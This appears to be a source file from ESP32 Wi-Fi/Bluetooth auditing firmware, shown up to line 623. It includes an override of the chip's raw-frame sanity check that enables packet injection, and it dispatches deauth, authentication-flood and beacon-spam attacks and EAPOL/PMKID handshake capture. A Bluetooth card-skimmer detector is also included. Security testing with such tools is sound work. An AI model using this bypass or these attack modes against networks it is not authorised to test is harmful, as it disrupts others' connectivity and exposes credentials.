WiFiScan.cpp 94 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_AP)
  238. RunBeaconScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  240. RunAPScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_PWN)
  244. RunPwnScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_DEAUTH)
  246. RunDeauthScan(scan_mode, color);
  247. else if (scan_mode == WIFI_PACKET_MONITOR) {
  248. #ifdef HAS_SCREEN
  249. RunPacketMonitor(scan_mode, color);
  250. #endif
  251. }
  252. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  253. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  254. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  256. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  258. else if (scan_mode == WIFI_ATTACK_AUTH)
  259. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  260. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  262. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  263. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  264. else if (scan_mode == BT_SCAN_ALL) {
  265. #ifdef HAS_BT
  266. RunBluetoothScan(scan_mode, color);
  267. #endif
  268. }
  269. else if (scan_mode == BT_SCAN_SKIMMERS) {
  270. #ifdef HAS_BT
  271. RunBluetoothScan(scan_mode, color);
  272. #endif
  273. }
  274. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  275. RunEspressifScan(scan_mode, color);
  276. else if (scan_mode == LV_JOIN_WIFI) {
  277. #ifdef HAS_SCREEN
  278. RunLvJoinWiFi(scan_mode, color);
  279. #endif
  280. }
  281. else if (scan_mode == LV_ADD_SSID) {
  282. #ifdef HAS_SCREEN
  283. RunLvJoinWiFi(scan_mode, color);
  284. #endif
  285. }
  286. WiFiScan::currentScanMode = scan_mode;
  287. }
  288. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  289. // Common wifi attack configurations
  290. #ifdef HAS_SCREEN
  291. display_obj.TOP_FIXED_AREA_2 = 48;
  292. display_obj.tteBar = true;
  293. display_obj.print_delay_1 = 15;
  294. display_obj.print_delay_2 = 10;
  295. display_obj.initScrollValues(true);
  296. display_obj.tft.setTextWrap(false);
  297. display_obj.tft.setTextColor(TFT_BLACK, color);
  298. display_obj.tft.fillRect(0,16,240,16, color);
  299. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  300. display_obj.touchToExit();
  301. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  302. #endif
  303. packets_sent = 0;
  304. esp_wifi_init(&cfg);
  305. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  306. esp_wifi_set_mode(WIFI_AP_STA);
  307. esp_wifi_start();
  308. esp_wifi_set_promiscuous_filter(NULL);
  309. esp_wifi_set_promiscuous(true);
  310. esp_wifi_set_max_tx_power(78);
  311. this->wifi_initialized = true;
  312. initTime = millis();
  313. }
  314. bool WiFiScan::shutdownWiFi() {
  315. if (this->wifi_initialized) {
  316. esp_wifi_set_promiscuous(false);
  317. WiFi.disconnect();
  318. WiFi.mode(WIFI_OFF);
  319. esp_wifi_set_mode(WIFI_MODE_NULL);
  320. esp_wifi_stop();
  321. esp_wifi_deinit();
  322. this->wifi_initialized = false;
  323. return true;
  324. }
  325. else {
  326. return false;
  327. }
  328. }
  329. bool WiFiScan::shutdownBLE() {
  330. #ifdef HAS_BT
  331. if (this->ble_initialized) {
  332. pBLEScan->stop();
  333. pBLEScan->clearResults();
  334. BLEDevice::deinit();
  335. this->ble_initialized = false;
  336. return true;
  337. }
  338. else {
  339. return false;
  340. }
  341. #endif
  342. return true;
  343. }
  344. // Function to stop all wifi scans
  345. void WiFiScan::StopScan(uint8_t scan_mode)
  346. {
  347. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  348. (currentScanMode == WIFI_SCAN_AP) ||
  349. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  350. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  351. (currentScanMode == WIFI_SCAN_PWN) ||
  352. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  353. (currentScanMode == WIFI_SCAN_EAPOL) ||
  354. (currentScanMode == WIFI_SCAN_ALL) ||
  355. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  356. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  357. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  358. (currentScanMode == WIFI_ATTACK_AUTH) ||
  359. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  360. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  361. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  362. (currentScanMode == WIFI_PACKET_MONITOR) ||
  363. (currentScanMode == LV_JOIN_WIFI))
  364. {
  365. this->shutdownWiFi();
  366. }
  367. else if ((currentScanMode == BT_SCAN_ALL) ||
  368. (currentScanMode == BT_SCAN_SKIMMERS))
  369. {
  370. #ifdef HAS_BT
  371. this->shutdownBLE();
  372. #endif
  373. }
  374. #ifdef HAS_SCREEN
  375. display_obj.display_buffer->clear();
  376. //Serial.print("display_buffer->size(): ");
  377. Serial.println(display_obj.display_buffer->size());
  378. display_obj.tteBar = false;
  379. #endif
  380. }
  381. String WiFiScan::getStaMAC()
  382. {
  383. char *buf;
  384. uint8_t mac[6];
  385. char macAddrChr[18] = {0};
  386. esp_wifi_init(&cfg);
  387. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  388. esp_wifi_set_mode(WIFI_MODE_NULL);
  389. esp_wifi_start();
  390. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  391. this->wifi_initialized = true;
  392. sprintf(macAddrChr,
  393. "%02X:%02X:%02X:%02X:%02X:%02X",
  394. mac[0],
  395. mac[1],
  396. mac[2],
  397. mac[3],
  398. mac[4],
  399. mac[5]);
  400. this->shutdownWiFi();
  401. return String(macAddrChr);
  402. }
  403. String WiFiScan::getApMAC()
  404. {
  405. char *buf;
  406. uint8_t mac[6];
  407. char macAddrChr[18] = {0};
  408. esp_wifi_init(&cfg);
  409. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  410. esp_wifi_set_mode(WIFI_MODE_NULL);
  411. esp_wifi_start();
  412. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  413. this->wifi_initialized = true;
  414. sprintf(macAddrChr,
  415. "%02X:%02X:%02X:%02X:%02X:%02X",
  416. mac[0],
  417. mac[1],
  418. mac[2],
  419. mac[3],
  420. mac[4],
  421. mac[5]);
  422. this->shutdownWiFi();
  423. return String(macAddrChr);
  424. }
  425. String WiFiScan::freeRAM()
  426. {
  427. char s[150];
  428. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  429. this->free_ram = String(esp_get_free_heap_size());
  430. return String(s);
  431. }
  432. // Function to start running a beacon scan
  433. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  434. {
  435. sd_obj.openCapture("ap");
  436. Serial.println(text_table4[9] + (String)access_points->size());
  437. #ifdef HAS_SCREEN
  438. display_obj.TOP_FIXED_AREA_2 = 48;
  439. display_obj.tteBar = true;
  440. display_obj.print_delay_1 = 15;
  441. display_obj.print_delay_2 = 10;
  442. display_obj.initScrollValues(true);
  443. display_obj.tft.setTextWrap(false);
  444. display_obj.tft.setTextColor(TFT_WHITE, color);
  445. display_obj.tft.fillRect(0,16,240,16, color);
  446. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  447. display_obj.touchToExit();
  448. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  449. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  450. #endif
  451. esp_wifi_init(&cfg);
  452. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  453. esp_wifi_set_mode(WIFI_MODE_NULL);
  454. esp_wifi_start();
  455. esp_wifi_set_promiscuous(true);
  456. esp_wifi_set_promiscuous_filter(&filt);
  457. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  458. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  459. //else
  460. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  461. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  462. this->wifi_initialized = true;
  463. initTime = millis();
  464. }
  465. #ifdef HAS_SCREEN
  466. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  467. display_obj.tft.init();
  468. display_obj.tft.setRotation(1);
  469. #ifdef TFT_SHIELD
  470. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  471. Serial.println("Using TFT Shield");
  472. #else if defined(TFT_DIY)
  473. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  474. Serial.println("Using TFT DIY");
  475. #endif
  476. display_obj.tft.setTouch(calData);
  477. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  478. lv_disp_load_scr(scr);
  479. }
  480. #endif
  481. void WiFiScan::RunClearAPs() {
  482. #ifdef HAS_SCREEN
  483. display_obj.tft.setTextWrap(false);
  484. display_obj.tft.setFreeFont(NULL);
  485. display_obj.tft.setCursor(0, 100);
  486. display_obj.tft.setTextSize(1);
  487. display_obj.tft.setTextColor(TFT_CYAN);
  488. display_obj.tft.println(F(text_table4[9]));
  489. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  490. #else
  491. this->clearAPs();
  492. #endif
  493. }
  494. void WiFiScan::RunClearSSIDs() {
  495. #ifdef HAS_SCREEN
  496. display_obj.tft.setTextWrap(false);
  497. display_obj.tft.setFreeFont(NULL);
  498. display_obj.tft.setCursor(0, 100);
  499. display_obj.tft.setTextSize(1);
  500. display_obj.tft.setTextColor(TFT_CYAN);
  501. display_obj.tft.println(F(text_table4[11]));
  502. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  503. #else
  504. this->clearSSIDs();
  505. #endif
  506. }
  507. void WiFiScan::RunGenerateSSIDs(int count) {
  508. #ifdef HAS_SCREEN
  509. display_obj.tft.setTextWrap(false);
  510. display_obj.tft.setFreeFont(NULL);
  511. display_obj.tft.setCursor(0, 100);
  512. display_obj.tft.setTextSize(1);
  513. display_obj.tft.setTextColor(TFT_CYAN);
  514. display_obj.tft.println(F(text_table4[13]));
  515. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  516. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  517. #else
  518. this->generateSSIDs(count);
  519. #endif
  520. }
  521. void WiFiScan::RunShutdownWiFi() {
  522. #ifdef HAS_SCREEN
  523. display_obj.tft.setTextWrap(false);
  524. display_obj.tft.setFreeFont(NULL);
  525. display_obj.tft.setCursor(0, 100);
  526. display_obj.tft.setTextSize(1);
  527. display_obj.tft.setTextColor(TFT_CYAN);
  528. display_obj.tft.print(F(text_table4[16]));
  529. #endif
  530. if (this->wifi_initialized) {
  531. this->shutdownWiFi();
  532. #ifdef HAS_SCREEN
  533. display_obj.tft.setTextColor(TFT_GREEN);
  534. display_obj.tft.println(F("OK"));
  535. #endif
  536. }
  537. else {
  538. #ifdef HAS_SCREEN
  539. display_obj.tft.setTextColor(TFT_RED);
  540. display_obj.tft.println(F(text17));
  541. display_obj.tft.println(F(text_table4[17]));
  542. #endif
  543. }
  544. }
  545. void WiFiScan::RunShutdownBLE() {
  546. #ifdef HAS_SCREEN
  547. display_obj.tft.setTextWrap(false);
  548. display_obj.tft.setFreeFont(NULL);
  549. display_obj.tft.setCursor(0, 100);
  550. display_obj.tft.setTextSize(1);
  551. display_obj.tft.setTextColor(TFT_CYAN);
  552. display_obj.tft.print(F(text_table4[18]));
  553. #endif
  554. if (this->ble_initialized) {
  555. this->shutdownBLE();
  556. #ifdef HAS_SCREEN
  557. display_obj.tft.setTextColor(TFT_GREEN);
  558. display_obj.tft.println(F("OK"));
  559. #endif
  560. }
  561. else {
  562. #ifdef HAS_SCREEN
  563. display_obj.tft.setTextColor(TFT_RED);
  564. display_obj.tft.println(F(text17));
  565. display_obj.tft.println(F(text_table4[19]));
  566. #endif
  567. }
  568. }
  569. void WiFiScan::RunInfo()
  570. {
  571. String sta_mac = this->getStaMAC();
  572. String ap_mac = this->getApMAC();
  573. String free_ram = this->freeRAM();
  574. //Serial.print("STA MAC: ");
  575. //Serial.println(sta_mac);
  576. //Serial.print("AP MAC: ");
  577. //Serial.println(ap_mac);
  578. Serial.println(free_ram);
  579. #ifdef HAS_SCREEN
  580. display_obj.tft.setTextWrap(false);
  581. display_obj.tft.setFreeFont(NULL);
  582. display_obj.tft.setCursor(0, 100);
  583. display_obj.tft.setTextSize(1);
  584. display_obj.tft.setTextColor(TFT_CYAN);
  585. display_obj.tft.println(text_table4[20]);
  586. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  587. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  588. #endif
  589. if (this->wsl_bypass_enabled) {
  590. #ifdef HAS_SCREEN
  591. display_obj.tft.println(text_table4[23]);
  592. #endif
  593. }
  594. else {
  595. #ifdef HAS_SCREEN
  596. display_obj.tft.println(text_table4[24]);
  597. #endif
  598. }
  599. #ifdef HAS_SCREEN
  600. display_obj.tft.println(text_table4[25] + sta_mac);
  601. display_obj.tft.println(text_table4[26] + ap_mac);
  602. display_obj.tft.println(text_table4[27] + free_ram);
  603. #endif
  604. if (sd_obj.supported) {
  605. #ifdef HAS_SCREEN
  606. display_obj.tft.println(text_table4[28]);
  607. display_obj.tft.print(text_table4[29]);
  608. display_obj.tft.print(sd_obj.card_sz);
  609. display_obj.tft.println("MB");
  610. #endif
  611. }
  612. else {
  613. #ifdef HAS_SCREEN
  614. display_obj.tft.println(text_table4[30]);
  615. display_obj.tft.println(text_table4[31]);
  616. #endif
  617. }
  618. battery_obj.battery_level = battery_obj.getBatteryLevel();
  619. if (battery_obj.i2c_supported) {
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[32]);
  622. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  623. #endif
